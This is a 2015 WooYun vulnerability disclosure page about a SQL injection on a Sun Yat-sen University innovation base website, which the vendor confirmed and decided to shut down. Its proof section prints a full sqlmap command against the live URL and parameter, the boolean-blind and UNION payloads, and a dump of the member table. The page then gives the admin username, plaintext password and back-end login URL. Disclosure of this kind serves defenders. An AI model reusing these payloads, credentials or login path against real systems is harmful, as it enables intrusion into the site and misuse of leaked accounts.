当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136862

漏洞标题:中山大学创新基地SQL注入可进入后台

相关厂商:中山大学

漏洞作者: StevenKe

提交时间:2015-08-25 16:18

修复时间:2015-10-09 18:26

公开时间:2015-10-09 18:26

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-25: 细节已通知厂商并且等待厂商处理中
2015-08-25: 厂商已经确认,细节仅向厂商公开
2015-09-04: 细节向核心白帽子及相关领域专家公开
2015-09-14: 细节向普通白帽子公开
2015-09-24: 细节向实习白帽子公开
2015-10-09: 细节向公众公开

简要描述:

中山大学创新基地SQL注入可进入后台

详细说明:

发现这个图

2222.png


看见理由 感觉不像是校方发的
发现存在sql注入

http://pgsd.sysu.edu.cn/dongtaizhongji.asp?cate=2&id=1439


注入参数为 id

漏洞证明:

C:\Python27\sqlmap>sqlmap.py -u "http://pgsd.sysu.edu.cn/dongtaizhongji.asp?cate
=2&id=1786" -p id -T member -C "data,id,pwd,username" --dump
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150723}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:41:06
[14:41:06] [INFO] resuming back-end DBMS 'microsoft access'
[14:41:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cate=2&id=1786 AND 2822=2822
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cate=2&id=-4533 UNION ALL SELECT NULL,NULL,NULL,NULL,CHR(113)&CHR(1
22)&CHR(120)&CHR(118)&CHR(113)&CHR(104)&CHR(107)&CHR(67)&CHR(104)&CHR(107)&CHR(1
20)&CHR(119)&CHR(113)&CHR(90)&CHR(78)&CHR(113)&CHR(106)&CHR(120)&CHR(113)&CHR(11
3),NULL,NULL FROM MSysAccessObjects%16
---
[14:41:07] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:41:07] [ERROR] cannot retrieve column names, back-end DBMS is Access
[14:41:07] [INFO] fetching entries of column(s) 'data, id, pwd, username' for ta
ble 'member' in database 'Microsoft_Access_masterdb'
[14:41:08] [INFO] the SQL query used returns 1 entries
[14:41:08] [WARNING] possible server trimmed output detected (probably due to it
s length and/or content): \x05
[14:41:08] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast'
[14:41:08] [INFO] fetching number of column(s) 'data, id, pwd, username' entries
for table 'member' in database 'Microsoft_Access_masterdb'
[14:41:08] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:41:08] [INFO] retrieved: 1
[14:41:10] [INFO] fetching number of distinct values for column 'id'
[14:41:10] [INFO] retrieved: 1
[14:41:11] [INFO] using column 'id' as a pivot for retrieving row data
[14:41:11] [INFO] retrieved: 1
[14:41:15] [INFO] retrieved: 6789yuio
[14:41:37] [INFO] retrieved:
[14:41:41] [INFO] retrieved: hua
[14:42:09] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is go
ing to retry the request
nle#3
[14:42:26] [INFO] analyzing table dump for possible password hashes
Database: Microsoft_Access_masterdb
Table: member
[1 entry]
+------+----+----------+----------+
| data | id | pwd | username |
+------+----+----------+----------+
| <blank> | 1 | 6789yuio | huanle#3 |
+------+----+----------+----------+
[14:42:26] [INFO] table 'Microsoft_Access_masterdb.member' dumped to CSV file 'C
:\Users\Administrator.WIN-1TI9CPS4KP5\.sqlmap\output\pgsd.sysu.edu.cn\dump\Micro
soft_Access_masterdb\member.csv'
[14:42:26] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 35 times
[14:42:26] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r.WIN-1TI9CPS4KP5\.sqlmap\output\pgsd.sysu.edu.cn'
[*] shutting down at 14:42:26


后台管理 账号:huanle#3 密码:6789yuio
登陆地址

http://pgsd.sysu.edu.cn/nothing/default.asp


1111.png


登陆成功

修复方案:

过滤

版权声明:转载请注明来源 StevenKe@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2015-08-25 18:25

厂商回复:

谢谢,网站陈旧,作关站处理。

最新状态:

暂无


漏洞评价:

评论